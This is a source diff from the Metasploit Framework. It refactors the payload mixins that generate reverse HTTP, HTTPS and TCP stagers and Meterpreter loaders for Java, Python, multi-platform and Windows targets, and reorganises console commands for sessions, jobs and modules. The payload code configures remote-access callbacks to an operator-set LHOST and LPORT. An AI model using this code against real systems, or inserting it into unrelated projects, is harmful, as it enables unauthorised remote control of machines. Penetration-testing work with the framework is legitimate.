include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptInt.new('Spawn', [true, 'Number of subprocesses to spawn', 2]),
Msf::OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)'])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate the URI for the initial stager
#
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
end
generate_uri_uuid_mode(:init_java, uri_req_len)
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
uri = generate_uri(opts)
ds = opts[:datastore] || datastore
c = ''
c << "Spawn=#{ds["Spawn"] || 2}\n"
c << "URL=#{scheme}://#{ds['LHOST']}"
c << ":#{ds['LPORT']}" if ds['LPORT']
c << luri
c << uri
c << "\n"
c
end
#
# Scheme defaults to http
#
def scheme
'http'
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,41 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/java/reverse_http'
module Msf
###
#
# Complex payload generation for Java that speaks HTTPS
#
###
module Payload::Java::ReverseHttps
include Msf::Payload::Java::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
#
# Override the scheme so that it has https instead of http
#
def scheme
'https'
end
#
# Override class_files to include the trust manager
#
def class_files
[
["metasploit", "PayloadTrustManager.class"]
]
end
end
end
+76
View File
@@ -0,0 +1,76 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for Java that speaks TCP
#
###
module Payload::Java::ReverseTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Java
include Msf::Payload::UUID::Options
#
# Register Java reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
])
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
def include_send_uuid
false
end
#
# Generate configuration that is to be included in the stager.
#
def stager_config(opts={})
ds = opts[:datastore] || datastore
spawn = ds["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = ds["AESPassword"] || ''
if pass != ""
c << "AESPassword=#{pass}\n"
end
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
c
end
def class_files
# TODO: we should handle opts in class_files as well
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
[
["metasploit", "AESEncryption.class"],
]
else
[]
end
end
end
end
+50
View File
@@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/core'
###
#
#
#
###
module Msf::Payload::Multi
# TOOD: require the appropriate stuff!
#require 'msf/core/payload/windows/dllinject'
#require 'msf/core/payload/windows/exec'
#require 'msf/core/payload/windows/loadlibrary'
#require 'msf/core/payload/windows/meterpreter_loader'
#require 'msf/core/payload/windows/x64/meterpreter_loader'
#require 'msf/core/payload/windows/reflectivedllinject'
#require 'msf/core/payload/windows/x64/reflectivedllinject'
# TODO: figure out what to do here
def apply_prepends(raw)
''
end
# TODO: figure out what to do here
def initialize(info={})
super(update_info(info,
'Name' => 'Multi-Platform Meterpreter Payload',
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
'Author' => ['OJ Reeves'],
'Platform' => ['multi'],
'Arch' => ARCH_ALL,
'Stage' => {'Payload' => ''},
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
))
end
# TODO: figure out what to do here
def replace_var(raw, name, offset, pack)
return true
end
# TODO: figure out what to do here
def handle_intermediate_stage(conn, payload)
return true
end
end
@@ -0,0 +1,69 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/uuid/options'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttp
include Msf::Payload::UUID::Options
include Msf::Payload::Multi
#
# Register reverse_http specific options
#
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
])
end
#
# Generate the first stage
#
def generate(opts={})
# Not such thing as a first stage for multi/reverse_http
''
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Do not transmit the stage over the connection. We handle this via HTTPS
#
def stage_over_connection?
false
end
#
# Always wait at least 20 seconds for this payload (due to staging delays)
#
def wfs_delay
20
end
end
end
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/multi/reverse_http'
module Msf
###
#
# Complex payload generation for arch-agnostic HTTP.
#
###
module Payload::Multi::ReverseHttps
include Msf::Payload::TransportConfig
include Msf::Payload::Multi::ReverseHttp
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
end
end
@@ -14,6 +14,7 @@ module Msf
module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
@@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
], self.class)
end
def stage_payload(opts={})
stage_meterpreter(opts)
end
# Get the raw Python Meterpreter stage and patch in values based on the
# configuration
#
@@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
# HTTP(S) transports.
# @option opts [String] :http_proxy_port The port to use when a proxy host is
# set for HTTP(S) transports.
# @option opts [String] :http_url The HTTP(S) URL to patch in to
# @option opts [String] :url The HTTP(S) URL to patch in to
# allow use of the stage as a stageless payload.
# @option opts [String] :http_user_agent The value to use for the User-Agent
# header for HTTP(S) transports.
@@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
# @option opts [String] :uuid A specific UUID to use for sessions created by
# this stage.
def stage_meterpreter(opts={})
ds = opts[:datastore] || datastore
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
if datastore['PythonMeterpreterDebug']
if ds['PythonMeterpreterDebug']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
uuid = opts[:uuid] || generate_payload_uuid
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
if opts[:http_proxy_host].to_s != ''
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
if http_proxy_host.to_s != ''
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
+6 -5
View File
@@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
opts.merge!({
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
user_agent: datastore['MeterpreterUserAgent']
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
user_agent: ds['MeterpreterUserAgent']
})
opts[:scheme] = 'http' if opts[:scheme].nil?
+12 -3
View File
@@ -89,7 +89,10 @@ module Msf::Payload::Stager
#
# @return [String,nil]
def stage_payload(opts = {})
return module_info['Stage']['Payload']
if module_info['Stage']
return module_info['Stage']['Payload']
end
nil
end
#
@@ -97,7 +100,10 @@ module Msf::Payload::Stager
#
# @return [String]
def stage_assembly
return module_info['Stage']['Assembly']
if module_info['Stage']
return module_info['Stage']['Assembly']
end
nil
end
#
@@ -108,7 +114,10 @@ module Msf::Payload::Stager
#
# @return [Hash]
def stage_offsets
return module_info['Stage']['Offsets']
if module_info['Stage']
return module_info['Stage']['Offsets']
end
nil
end
#
+7 -3
View File
@@ -38,7 +38,11 @@ class Msf::Payload::UUID
19 => ARCH_DALVIK,
20 => ARCH_PYTHON,
21 => ARCH_NODEJS,
22 => ARCH_FIREFOX
22 => ARCH_FIREFOX,
23 => ARCH_ZARCH,
24 => ARCH_AARCH64,
25 => ARCH_MIPS64,
26 => ARCH_PPC64LE
}
Platforms = {
@@ -104,7 +108,7 @@ class Msf::Payload::UUID
puid = seed_to_puid(opts[:seed])
end
puid ||= Rex::Text.rand_text(8)
puid ||= SecureRandom.random_bytes(8)
if puid.length != 8
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
@@ -252,7 +256,7 @@ class Msf::Payload::UUID
end
# Generate some sensible defaults
self.puid ||= Rex::Text.rand_text(8)
self.puid ||= SecureRandom.random_bytes(8)
self.xor1 ||= rand(256)
self.xor2 ||= rand(256)
self.timestamp ||= Time.now.utc.to_i
@@ -2,6 +2,7 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
@@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
+15 -14
View File
@@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# Add extra options if we have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
@@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
#
+6 -5
View File
@@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
#
# Generate the first stage
#
def generate
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
port: ds['LPORT'],
host: ds['LHOST'],
retry_count: ds['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:exitfunk] = ds['EXITFUNC']
conf[:reliable] = true
end
@@ -2,10 +2,10 @@
require 'msf/core'
require 'msf/core/reflective_dll_loader'
require 'rex/payloads/meterpreter/config'
module Msf
###
#
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
@@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
^
end
def stage_meterpreter(stageless=false)
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: []
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: stageless
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
@@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: datastore['LHOST'],
port: datastore['LPORT'],
retry_count: datastore['StagerRetryCount']
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
}
# add extended options if we do have enough space
if self.available_space && required_space <= self.available_space
conf[:url] = luri + generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:url] = luri + generate_uri(opts)
conf[:exitfunk] = ds['EXITFUNC']
conf[:ua] = ds['MeterpreterUserAgent']
conf[:proxy_host] = ds['PayloadProxyHost']
conf[:proxy_port] = ds['PayloadProxyPort']
conf[:proxy_user] = ds['PayloadProxyUser']
conf[:proxy_pass] = ds['PayloadProxyPass']
conf[:proxy_type] = ds['PayloadProxyType']
else
# Otherwise default to small URIs
conf[:url] = luri + generate_small_uri
@@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
#
# Generate the URI for the initial stager
#
def generate_uri
uri_req_len = datastore['StagerURILength'].to_i
def generate_uri(opts={})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i
# Choose a random URI length between 30 and 255 bytes
if uri_req_len == 0
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
end
if uri_req_len < 5
@@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
#
# Generate the first stage
#
def generate
super(ssl: true)
def generate(opts={})
opts[:ssl] = true
super(opts)
end
end
+30
View File
@@ -74,6 +74,36 @@ module CommandDispatcher
dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_1)
end
#
# Generate an array of job or session IDs from a given range String.
# Always returns an Array.
#
# @param id_list [String] Range or list description such as 1-5 or 1,3,5 etc
# @return [Array<String>] Representing the range
def build_range_array(id_list)
item_list = []
unless id_list.blank?
temp_list = id_list.split(',')
temp_list.each do |ele|
return if ele.count('-') > 1
return if ele.first == '-' || ele[-1] == '-'
return if ele.first == '.' || ele[-1] == '.'
if ele.include? '-'
temp_array = (ele.split("-").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
elsif ele.include? '..'
temp_array = (ele.split("..").inject { |s, e| s.to_i..e.to_i }).to_a
item_list.concat(temp_array)
else
item_list.push(ele.to_i)
end
end
end
item_list.uniq.sort
end
#
# The driver that this command dispatcher is associated with.
#
+55 -1386
View File
@@ -16,6 +16,9 @@ require 'msf/ui/console/command_dispatcher/nop'
require 'msf/ui/console/command_dispatcher/payload'
require 'msf/ui/console/command_dispatcher/auxiliary'
require 'msf/ui/console/command_dispatcher/post'
require 'msf/ui/console/command_dispatcher/jobs'
require 'msf/ui/console/command_dispatcher/resource'
require 'msf/ui/console/command_dispatcher/modules'
require 'msf/util/document_generator'
module Msf
@@ -35,27 +38,20 @@ class Core
# Session command options
@@sessions_opts = Rex::Parser::Arguments.new(
"-c" => [ true, "Run a command on the session given with -i, or all" ],
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Interact with the supplied session ID " ],
"-l" => [ false, "List all active sessions" ],
"-v" => [ false, "List sessions in verbose mode" ],
"-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ],
"-x" => [ false, "Show extended information in the session table" ])
@@jobs_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-k" => [ true, "Terminate jobs by job ID and/or range." ],
"-K" => [ false, "Terminate all running jobs." ],
"-i" => [ true, "Lists detailed information about a running job."],
"-l" => [ false, "List all running jobs." ],
"-v" => [ false, "Print more detailed info. Use with -i and -l" ])
"-c" => [ true, "Run a command on the session given with -i, or all" ],
"-C" => [ true, "Run a Meterpreter Command on the session given with -i, or all" ],
"-h" => [ false, "Help banner" ],
"-i" => [ true, "Interact with the supplied session ID " ],
"-l" => [ false, "List all active sessions" ],
"-v" => [ false, "List sessions in verbose mode" ],
"-q" => [ false, "Quiet mode" ],
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
"-K" => [ false, "Terminate all sessions" ],
"-s" => [ true, "Run a script on the session given with -i, or all" ],
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
"-t" => [ true, "Set a response timeout (default: 15)" ],
"-x" => [ false, "Show extended information in the session table" ])
@@threads_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
@@ -89,64 +85,40 @@ class Core
"-k" => [ true, "Keep (include) arg lines at start of output." ],
"-c" => [ false, "Only print a count of matching lines." ])
@@search_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ])
@@irb_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-e" => [ true, "Expression to evaluate." ])
# Constant for disclosure date formatting in search functions
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
# Constant for a retry timeout on using modules before they're loaded
CMD_USE_TIMEOUT = 3
# Returns the list of commands supported by this command dispatcher
def commands
{
"?" => "Help menu",
"back" => "Move back from the current context",
"banner" => "Display an awesome metasploit banner",
"cd" => "Change the current working directory",
"connect" => "Communicate with a host",
"color" => "Toggle color",
"exit" => "Exit the console",
"edit" => "Edit the current module with $VISUAL or $EDITOR",
"get" => "Gets the value of a context-specific variable",
"getg" => "Gets the value of a global variable",
"grep" => "Grep the output of another command",
"help" => "Help menu",
"advanced" => "Displays advanced options for one or more modules",
"info" => "Displays information about one or more modules",
"options" => "Displays global options or for one or more modules",
"irb" => "Drop into irb scripting mode",
"jobs" => "Displays and manages jobs",
"rename_job" => "Rename a job",
"kill" => "Kill a job",
"load" => "Load a framework plugin",
"loadpath" => "Searches for and loads modules from a path",
"popm" => "Pops the latest module off the stack and makes it active",
"pushm" => "Pushes the active or list of modules onto the module stack",
"previous" => "Sets the previously loaded module as the current module",
"quit" => "Exit the console",
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
"reload_all" => "Reloads all modules from all defined module paths",
"route" => "Route traffic through a session",
"save" => "Saves the active datastores",
"search" => "Searches module names and descriptions",
"sess" => "Interact with a given session",
"sessions" => "Dump session listings and display information about sessions",
"set" => "Sets a context-specific variable to a value",
"setg" => "Sets a global variable to a value",
"show" => "Displays modules of a given type, or all modules",
"sleep" => "Do nothing for the specified number of seconds",
"threads" => "View and manipulate background threads",
"unload" => "Unload a framework plugin",
"unset" => "Unsets one or more context-specific variables",
"unsetg" => "Unsets one or more global variables",
"use" => "Selects a module by name",
"version" => "Show the framework and console library version numbers",
"spool" => "Write console output into a file as well the screen"
}
@@ -194,176 +166,8 @@ class Core
driver.update_prompt
end
def cmd_reload_all_help
print_line "Usage: reload_all"
print_line
print_line "Reload all modules from all configured module paths. This may take awhile."
print_line "See also: loadpath"
print_line
end
#
# Reload all module paths that we are aware of
#
def cmd_reload_all(*args)
if args.length > 0
cmd_reload_all_help
return
end
print_status("Reloading modules from all module paths...")
framework.modules.reload_modules
# Check for modules that failed to load
if framework.modules.module_load_error_by_path.length > 0
print_error("WARNING! The following modules could not be loaded!")
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
if framework.modules.module_load_warnings.length > 0
print_warning("The following modules were loaded with warnings:")
framework.modules.module_load_warnings.each do |path, error|
print_warning("\t#{path}: #{error}")
end
end
cmd_banner()
end
def cmd_resource_help
print_line "Usage: resource path1 [path2 ...]"
print_line
print_line "Run the commands stored in the supplied files. Resource files may also contain"
print_line "ruby code between <ruby></ruby> tags."
print_line
print_line "See also: makerc"
print_line
end
def cmd_resource(*args)
if args.empty?
cmd_resource_help
return false
end
args.each do |res|
good_res = nil
if ::File.exist?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path)
good_res = res_path
break
end
end
end
if good_res
driver.load_resource(good_res)
else
print_error("#{res} is not a valid resource file")
next
end
end
end
#
# Tab completion for the resource command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_resource_tabs(str, words)
tabs = []
#return tabs if words.length > 1
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
# then you are probably specifying a full path so let's just use normal file completion
return tab_complete_filenames(str,words)
elsif (not words[1] or not words[1].match(/^\//))
# then let's start tab completion in the scripts/resource directories
begin
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"."
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + File::SEPARATOR + e
::File.file?(path) and File.readable?(path)
}
end
rescue Exception
end
else
tabs += tab_complete_filenames(str,words)
end
return tabs
end
def cmd_makerc_help
print_line "Usage: makerc <output rc file>"
print_line
print_line "Save the commands executed since startup to the specified file."
print_line
end
#
# Saves commands executed since the ui started to the specified msfrc file
#
def cmd_makerc(*args)
if args.empty?
cmd_makerc_help
return false
end
driver.save_recent_history(args[0])
end
def cmd_back_help
print_line "Usage: back"
print_line
print_line "Return to the global dispatcher context"
print_line
end
#
# Pop the current dispatcher stack context, assuming it isn't pointed at
# the core or database backend stack context.
#
def cmd_back(*args)
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core' and
driver.current_dispatcher.name != 'Database Backend')
# Reset the active module if we have one
if (active_module)
# Do NOT reset the UI anymore
# active_module.reset_ui
# Save the module's datastore so that we can load it later
# if the module is used again
@dscache[active_module.fullname] = active_module.datastore.dup
self.active_module = nil
end
# Destack the current dispatcher
driver.destack_dispatcher
# Restore the prompt
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
driver.update_prompt("#{prompt} ", prompt_char, true)
end
end
def cmd_cd_help
print_line "Usage: cd <directory>"
@@ -645,37 +449,6 @@ class Core
true
end
def local_editor
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
end
def cmd_edit_help
msg = "Edit the currently active module"
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
print_line "Usage: edit"
print_line
print_line msg
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
print_line
end
#
# Edit the currently active module
#
def cmd_edit
unless local_editor
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
return
end
if active_module
path = active_module.file_path
print_status "Launching #{local_editor} #{path}"
system(local_editor,path)
else
print_error "Nothing to edit -- try using a module first."
end
end
#
# Instructs the driver to stop executing.
#
@@ -716,170 +489,6 @@ class Core
Rex::ThreadSafe.sleep(args[0].to_f)
end
def cmd_advanced_help
print_line 'Usage: advanced [mod1 mod2 ...]'
print_line
print_line 'Queries the supplied module or modules for advanced options. If no module is given,'
print_line 'show advanced options for the currently active module.'
print_line
end
def cmd_advanced(*args)
if args.empty?
if (active_module)
show_advanced_options(active_module)
return true
else
print_error('No module active')
return false
end
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
else
show_advanced_options(mod)
end
}
end
def cmd_info_help
print_line "Usage: info <module name> [mod2 mod3 ...]"
print_line
print_line "Options:"
print_line "* The flag '-j' will print the data in json format"
print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow."
print_line "Queries the supplied module or modules for information. If no module is given,"
print_line "show info for the currently active module."
print_line
end
#
# Displays information about one or more module.
#
def cmd_info(*args)
dump_json = false
show_doc = false
if args.include?('-j')
args.delete('-j')
dump_json = true
end
if args.include?('-d')
args.delete('-d')
show_doc = true
end
if (args.length == 0)
if (active_module)
if dump_json
print(Serializer::Json.dump_module(active_module) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
ensure
f.close if f
end
else
print(Serializer::ReadableText.dump_module(active_module))
end
return true
else
cmd_info_help
return false
end
elsif args.include? "-h"
cmd_info_help
return false
end
args.each { |name|
mod = framework.modules.create(name)
if (mod == nil)
print_error("Invalid module: #{name}")
elsif dump_json
print(Serializer::Json.dump_module(mod) + "\n")
elsif show_doc
f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html'])
begin
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
ensure
